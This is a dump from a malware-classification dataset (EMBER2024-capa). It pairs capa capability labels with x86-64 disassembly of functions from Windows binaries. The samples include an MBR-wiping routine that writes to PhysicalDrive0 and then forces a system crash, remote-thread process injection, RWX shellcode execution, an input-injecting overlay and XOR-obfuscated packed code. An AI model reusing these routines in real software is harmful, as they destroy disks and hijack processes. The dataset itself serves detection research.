joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140025664
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub rsp, 0x48
mov eax, 4
imul rax, rax, 2
lea rcx, [0x140105fa8]
add rcx, rax
mov rax, rcx
mov ecx, 4
imul rcx, rcx, 1
lea rdx, [0x140105fa8]
add rdx, rcx
mov rcx, rdx
mov edx, 4
imul rdx, rdx, 0
lea r8, [0x140105fa8]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
movss xmm2, dword [0x14010537c]
movss xmm1, dword [0x140105378]
movss xmm0, dword [0x1400506bc]
call fcn.140006e2c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x140105fb4]
cmp eax, 1
jb 0x14002574c
mov eax, dword [0x140105fb4]
cmp dword [0x140105fb8], eax
je 0x140025740
movss xmm0, dword [0x14003bdf0]
mulss xmm0, dword [0x140041164]
mov eax, 4
imul rax, rax, 0
lea rcx, [0x140105fa8]
movss xmm1, dword [rcx + rax]
addss xmm1, xmm0
movaps xmm0, xmm1
mov eax, 4
imul rax, rax, 0
lea rcx, [0x140105fa8]
movss dword [rcx + rax], xmm0
mov eax, dword [0x140105fb4]
mov dword [0x140105fb8], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x140105fb4], eax
mov eax, 4
imul rax, rax, 0
lea rcx, [0x140105fa8]
xorps xmm0, xmm0
comiss xmm0, dword [rcx + rax]
jbe 0x140025797
mov eax, 4
imul rax, rax, 0
lea rcx, [0x140105fa8]
movss xmm0, dword [rcx + rax]
addss xmm0, dword [0x140036aec]
mov eax, 4
imul rax, rax, 0
lea rcx, [0x140105fa8]
movss dword [rcx + rax], xmm0
mov eax, 4
imul rax, rax, 2
lea rcx, [0x140105fa8]
mov edx, 4
imul rdx, rdx, 1
lea r8, [0x140105fa8]
mov r9d, 4
imul r9, r9, 0
mov qword [rsp + 0x30], r9
lea r10, [0x140105fa8]
lea r11, [0x14010537c]
mov qword [rsp + 0x28], r11
lea r11, [0x140105378]
mov qword [rsp + 0x20], r11
lea r9, [0x1400506bc]
movss xmm2, dword [rcx + rax]
movss xmm1, dword [r8 + rdx]
mov rax, qword [rsp + 0x30]
movss xmm0, dword [r10 + rax]
call fcn.140006ce0
add rsp, 0x48
ret
Function at 0x14002c940
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_ZwQueryValueKey]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xc0000023
je 0x14002c991
cmp dword [rsp + 0x30], 0x80000005
jne 0x14002c997
mov eax, dword [rsp + 0x34]
jmp 0x14002c999
xor eax, eax
add rsp, 0x48
ret

Function at 0x14002cd28
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x38
lea rcx, [0x14003b92c]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14003ba48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002cdb1
lea rcx, [0x14003b95c]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUserSendInput
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002cdb1
lea rcx, [0x14003b9e8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.SendInput
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002cdb1
xor al, al
jmp 0x14002ce63
lea rcx, str.win32u
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14003ba80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14002ce33
lea rcx, [0x14003ba74]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUserGetAsyncKeyState
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14002ce33
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14003bab0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14002ce33
xor al, al
jmp 0x14002ce63
mov r8d, 0x1e
mov rdx, qword [rsp + 0x20]
lea rcx, [0x140105e00]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x1e
mov rdx, qword [rsp + 0x28]
lea rcx, [0x140105e20]
call sub.VCRUNTIME140.dll_memcpy
mov al, 1
add rsp, 0x38
ret
Function at 0x14002e8bc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14002e8f8
xor al, al
jmp 0x14002e96b
mov r8d, 0x1e
lea rdx, [0x140105e00]
mov rcx, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [rsp + 0x30]
mov dword [rsp + 0x24], eax
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [rsp + 0x24], 0
jle 0x14002e962
mov byte [rsp + 0x20], 1
jmp 0x14002e967
mov byte [rsp + 0x20], 0
mov al, byte [rsp + 0x20]
add rsp, 0x48
ret

Function at 0x14002f590
Capabilities:
Set registry value

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x44], 0xc0000001
mov dword [rsp + 0x50], 0x30
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x68], 0x240
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
lea r8, [rsp + 0x50]
mov edx, 0xf003f
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwOpenKey]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jl 0x14002f666
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xa8]
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwSetValueKey]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jl 0x14002f656
mov byte [rsp + 0x40], 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
jmp 0x14002f6f8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rsp + 0x50]
mov edx, 0xf003f
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwCreateKey]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jl 0x14002f6ed
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xa8]
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwSetValueKey]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jl 0x14002f6ed
mov byte [rsp + 0x40], 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
mov al, byte [rsp + 0x40]
add rsp, 0x88
ret

Function at 0x140031ca4
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
movsx eax, byte [rsp + 0x10]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
ret
Function at 0x140031f54
Capabilities:
Create thread
Hide graphical window

Disassembly:
push rdi
sub rsp, 0xc0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14002ef94]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetStockObject]
mov qword [rsp + 0xa0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x88], 0
lea rax, [0x14002f49c]
mov qword [rsp + 0x78], rax
lea rax, [0x14003ac88]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0x70], 3
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassA]
movzx eax, ax
test eax, eax
jne 0x14003200c
lea rdx, str._n_n_Bluestacks
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140020774
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x60], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x64], eax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, str.Bluestacks_5
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x140105e70], rax
mov edx, 5
mov rcx, qword [0x140105e70]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14003ac78]
mov rcx, qword [0x140105e70]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov r8d, 0x800a0
mov edx, 0xffffffec
mov rcx, qword [0x140105e70]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140105e70]
call qword [sym.imp.USER32.dll_UpdateWindow]
add rsp, 0xc0
pop rdi
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140001000
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x268
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, str..PhysicalDrive0
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rsp + 0x50]
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor r8d, r8d
lea r9, [rsp + 0x40]
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400010f0
add rsp, 0x268
ret

Function at 0x1400019cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a16
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a16
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a16
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a16
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a16
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a18
xor al, al
add rsp, 0x28
ret
Function at 0x14061cdd7
Capabilities:
Encode data using xor

Disassembly:
push 0x73381050
lea rcx, [rcx*4 + 0x540c7493]
lea rbx, [rcx + rbx*8 + 0x26056ba2]
push rdi
push r10
mov r11, qword [rsp + 0x68]
movabs rdi, 0x6d4d42a72dc53b96
jg 0x1405c47d8
fisub dword [rbx]
adc eax, 0x13dc9f1d
or al, 0x53
out dx, eax
xchg edx, eax
in al, dx
pop rdx
movabs al, byte [0x2266cbe1c2a11a58]
xor dword [rsi], edx
xlatb
push r14
xor eax, dword [rcx - 0x1d]
jg 0x14061ce1a
mov bl, 0xdd
xlatb
test byte [rdi - 0x31], al
mov esi, ss
invalid

Function at 0x140a5dc7d
Capabilities:
Encode data using xor

Disassembly:
xchg edi, eax
invalid
mov ebx, 0x7701ec39
sbb esp, ebx
mov esp, 0x771c947
jb 0x140a5dbdc
sub byte [rbx + 9], dl
test dword [rsi - 0xe], 0x409f41da
sbb edx, esp
or edi, esi
fiadd dword [rcx - 0x61]
sbb edx, esp
xchg byte [rbp - 0x56c6db5b], bh
or eax, 0xf68dccce
xchg byte [rcx + 0x7608a565], dh
jnp 0x140a5dc32
int3
lea edi, [rcx + 0x6d]
leave
xchg byte [rsi - 0x200031f9], bl
invalid
sub sil, sil
sub r15, 0x1f4a1ca2
xor r14d, 0x6e511c
call fcn.140b3a5b8
jmp 0x140a5dced
loopne 0x140a5dc42
ja 0x140a5dcc8
mov ebx, 0xb077a3e7
int1
mov al, 0xf1
pop rbp
push rsp
mov ah, dl
mov al, 0xc0
xchg ebx, eax
ja 0x140a5dc54
jge 0x140a5dcae
cmpsb byte [rsi], byte [rdi]
ja 0x140a5dd18
invalid
ja 0x140a5dd42
sal dword [rdx + 0x6c], 0x88
int3
xchg ebp, eax
jp 0x140a5dc9e
ja 0x140a5dca6
sbb rbp, qword [r8 + 0x79430a77]
invalid
in al, dx
invalid
outsb dx, byte [rsi]
adc ebx, 0xa953aa92
invd
and dword [rsi + rdi*2 + 0x6c14a05f], 0x2ba28150
pop rax
sbb dword [rcx - 0x65a60d74], 0x5b347c91
and dword [rdi + 0x48], 0x36a90f23
ret

Function at 0x140a90383
Capabilities:
Encode data using xor

Disassembly:
push rdi
movzx r9, byte [rsp + 0x30]
movzx ecx, byte [rsp + 0x30]
and dword [rsp + 0x30], 0x66bd5782
push r14
push r12
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0xffffffffb7742481
movzx r12d, bx
mov rdi, qword [rsp + 0x40]
push r12
sub ebx, r12d
lea rbx, [r9 + rbx + 0xe6c1bf3]
movabs r14, 0x560531dd0aef2f16
add qword [rsp + 0x20], 0xffffffffffa52c69
xor r12d, edi
call fcn.140a88b66
push rsp
jno 0x140602ead
sub bh, bh
sub byte [r8], spl
lodsb al, byte [rsi]
sub dword [rax + 0x1c2162d6], esi
mov edi, 0x1cb673cc
scasd eax, dword [rdi]
jmp 0x140602f00
jns 0x140602eab

Function at 0x140b33659
Capabilities:
Encode data using xor

Disassembly:
movsx r10d, sil
neg r10
lea rbp, [rsi + rsi*2 + 0x12614fc0]
mov r13, rbp
mov r13, qword [rsp + 0x18]
xor cx, si
not rcx
add qword [rsp], 0xffffffffffa7780a
mov si, r10w
and r10d, 0x10364818
je fcn.140b33659
call fcn.140b484f6
jmp 0x140b336d3

Function at 0x140b5cae4
Capabilities:
Encode data using xor

Disassembly:
push rdi
mov rdi, qword [rsp + 0x20]
add qword [rsp + 8], 0xffffffffffa5d39b
add edi, dword [rsp + 0x24]
je 0x140b42fd4
test word [rsp + 0x20], 0x18de
call fcn.140b1417a
Function at 0x140b66fde
Capabilities:
Encode data using xor

Disassembly:
neg r12w
not r12d
xor r12b, r12b
jne 0x140b66fe8
lea r12, [r12*4 + 0x19e5044f]
add r12b, 0xe3
add qword [rsp + 8], 0xfffffffffff67c2f
movsx r12w, r12b
mov r12, qword [rsp + 0x18]
lea rsp, [rsp + 8]
ret
js 0x140b41f43
xor dil, 0xc5
lea rdi, [rdi*4 + 0x557f48a5]
setns r12b
add dil, 0x7b
add di, 0x43f2
mov rdi, qword [rsp + 0x20]
mov qword [rsp + 0x20], 0x7ecfec2d
or r12w, 0x33e0
xor r12d, 0x5d5a58ab
add r12d, r12d
xor r12b, 0x5a
xor r12, 0x4e9d789a
jl 0x140b6701f
cmp r12, 0x41311a6b
mov r12w, 0x23b2
jb 0x1405cfc0c
setge r12b
jge 0x1405cfbdd
mov ecx, 0xe379a423
cmpsd dword [rsi], dword [rdi]
neg dword [rbx - 0x6b5a127a]
invalid

Function at 0x140b6818a
Capabilities:
Encode data using xor

Disassembly:
xor r11w, 0x1ccf
test r11b, r11b
js 0x140b1e086
mov dil, 0xe5
lea r12, [r11 + rdi + 0x104d08b7]
lea r12, [r12*2 + 0x225706d4]
add qword [rsp + 8], 0xffffffffffb24ee3
sub edi, edi
lea r11, [rdi*4 + 0x310c1e79]
cmp r12, 0xcc40df6
sets r12b
movzx r12w, r12b
mov rdi, qword [rsp + 0x10]
and r12w, 0x1538
xor r12w, 0x35c2
setge r12b
xor r12d, 0x635c4384
setg r12b
test r12, 0x5b842d3
lea r12, [r11*8 + 0x28e50ffe]
jb 0x140b681e0
test r11b, r12b
not r11w
not r12d
not r11d
lea rsp, [rsp + 8]
ret 8

Function at 0x140b6c75f
Capabilities:
Encode data using xor

Disassembly:
or r11d, 0x73878e2
not r10
test rbx, 0xd7d0d1c
movsxd rbp, edi
mov r15d, 0x3558099e
Function at 0x140004230
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0xc8
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0xb0], rcx
mov rcx, qword [rsp + 0xb8]
call fcn.1400044b0
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0xb8]
call fcn.1400044d0
xor r8d, r8d
mov edx, r8d
mov qword [rsp + 0xa0], rax
mov r8, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xb0]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
jne 0x1400042bf
mov byte [rsp + 0xc7], 0
jmp 0x140004496
xor eax, eax
mov ecx, eax
mov r9, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov r10, qword [rsp + 0xb0]
mov qword [rsp + 0x60], rcx
mov rcx, r10
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, 0
jne 0x140004310
mov byte [rsp + 0xc7], 0
jmp 0x140004496
lea rcx, [0x1400467c8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
jne 0x140004341
mov byte [rsp + 0xc7], 0
jmp 0x140004496
mov rcx, qword [rsp + 0x90]
lea rdx, [0x1400467d5]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x80]
mov rdx, rax
call fcn.1400044e0
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x58], rax
call fcn.140004500
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x14000439c
mov byte [rsp + 0xc7], 0
jmp 0x140004496
mov rax, qword [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], rax
call fcn.140004510
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x48], rax
call fcn.140004530
xor r8d, r8d
mov ecx, r8d
xor r8d, r8d
mov rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x40], rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x40]
mov dword [rsp + 0x3c], r8d
mov r8, r9
mov r9, rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x140004437
mov byte [rsp + 0xc7], 0
jmp 0x140004496
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0xffffffff
jne 0x140004463
mov byte [rsp + 0xc7], 0
jmp 0x140004496
xor eax, eax
mov r8d, eax
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xb0]
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp eax, 0
jne 0x14000448e
int3
mov byte [rsp + 0xc7], 1
mov al, byte [rsp + 0xc7]
and al, 1
movzx eax, al
add rsp, 0xc8
ret
Function at 0x140004540
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x78
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x40]
call fcn.1400044e0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rax
call fcn.140004650
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movzx r9d, word [rax]
cmp r9d, 0x5a4d
je 0x1400045a8
mov byte [rsp + 0x77], 0
jmp 0x140004641
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.1400044e0
mov rcx, qword [rsp + 0x50]
movsxd r8, dword [rcx + 0x3c]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x20], rax
call fcn.140004660
lea rcx, [rsp + 0x38]
call fcn.1400046b0
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140004600
mov rax, qword [rsp + 0x48]
cmp dword [rax], 0x4550
je 0x14000460a
mov byte [rsp + 0x77], 0
jmp 0x140004641
cmp qword [rsp + 0x60], 0
je 0x140004623
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
cmp qword [rsp + 0x68], 0
je 0x14000463c
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
mov qword [rcx], rax
mov byte [rsp + 0x77], 1
mov al, byte [rsp + 0x77]
and al, 1
movzx eax, al
add rsp, 0x78
ret
Function at 0x14000dd10
Capabilities:
Get storage device properties

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x78], 0xfffffffffffffffe
mov qword [rbp + 0x68], rdx
mov qword [rbp + 0x60], rcx
mov rdx, qword [rbp + 0x60]
lea rax, [rbp + 0x30]
mov rcx, rax
mov qword [rbp - 0x20], rax
call fcn.140003f40
lea rcx, [rbp + 0x50]
mov rdx, qword [rbp - 0x20]
mov qword [rbp - 0x28], rax
call fcn.14000eaf0
jmp 0x14000dd5a
lea rcx, [rbp + 0x30]
call fcn.140004200
lea rcx, [rbp + 0x50]
call fcn.14000ebf0
test al, 1
jne 0x14000dd84
mov byte [rbp + 0x77], 0
mov dword [rbp + 0x2c], 1
jmp 0x14000df1a
mov qword [rbp + 0x20], 0
mov dword [rbp + 0x10], 0
mov dword [rbp + 0x14], 0
mov rax, rsp
lea rcx, [rbp + 0x20]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x30], 0
mov dword [rax + 0x28], 8
lea rcx, [rbp + 0x50]
mov edx, 0x2d1400
lea r8, [rbp + 0x10]
mov r9d, recv
call fcn.14000ec10
mov dword [rbp - 0x2c], eax
jmp 0x14000ddd4
mov eax, dword [rbp - 0x2c]
cmp eax, 0
jge 0x14000ddf0
mov byte [rbp + 0x77], 0
mov dword [rbp + 0x2c], 1
jmp 0x14000df1a
mov eax, dword [rbp + 0x24]
mov ecx, eax
mov qword [rbp + 8], rcx
mov rcx, qword [rbp + 8]
mov rdx, qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
call rdx
mov qword [rbp - 0x38], rax
jmp 0x14000de0f
mov rax, qword [rbp - 0x38]
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14000de32
mov byte [rbp + 0x77], 0
mov dword [rbp + 0x2c], 1
jmp 0x14000df1a
mov rcx, qword [rbp]
mov r8, qword [rbp + 8]
xor eax, eax
mov dl, al
call sub.VCRUNTIME140.dll_memset
mov r9d, dword [rbp + 8]
mov rcx, qword [rbp]
mov r8, rsp
mov dword [r8 + 0x28], r9d
mov qword [r8 + 0x20], rcx
mov qword [r8 + 0x30], 0
lea rcx, [rbp + 0x50]
mov edx, 0x2d1400
lea r8, [rbp + 0x10]
mov r9d, recv
mov qword [rbp - 0x40], rax
call fcn.14000ecf0
mov dword [rbp - 0x44], eax
jmp 0x14000de82
mov eax, dword [rbp - 0x44]
cmp eax, 0
jge 0x14000de9e
mov byte [rbp + 0x77], 0
mov dword [rbp + 0x2c], 1
jmp 0x14000df1a
mov rax, qword [rbp]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov ecx, dword [rax]
mov edx, ecx
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov ecx, dword [rax + 0x18]
mov edx, ecx
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x68]
mov r8, qword [rax + 0x20]
mov qword [rdx + 0x60], r8
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x40], xmm0
mov rdx, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x68]
call fcn.1400051a0
jmp 0x14000def6
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp + 0x68]
add rax, 0x20
mov rcx, rax
call fcn.1400051a0
jmp 0x14000df0f
mov byte [rbp + 0x77], 1
mov dword [rbp + 0x2c], 1
lea rcx, [rbp + 0x50]
call fcn.14000edd0
mov al, byte [rbp + 0x77]
and al, 1
movzx eax, al
add rsp, 0x100
pop rbp
ret
Function at 0x140012860
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x2c], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x40
lea r9, [rsp + 0x2c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
je 0x1400128d5
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
and al, 1
movzx eax, al
add rsp, 0x48
ret

Function at 0x1400128f0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x4c], 0
mov dword [rsp + 0x48], 0
mov rcx, rdx
mov qword [rsp + 0x40], rdx
call fcn.140002b30
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r8d, 0x40
lea r9, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
je 0x14001299c
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, rax
call fcn.140002b10
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x30], rax
call fcn.140002b30
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
mov r8, rax
call sub.VCRUNTIME140.dll_memcpy
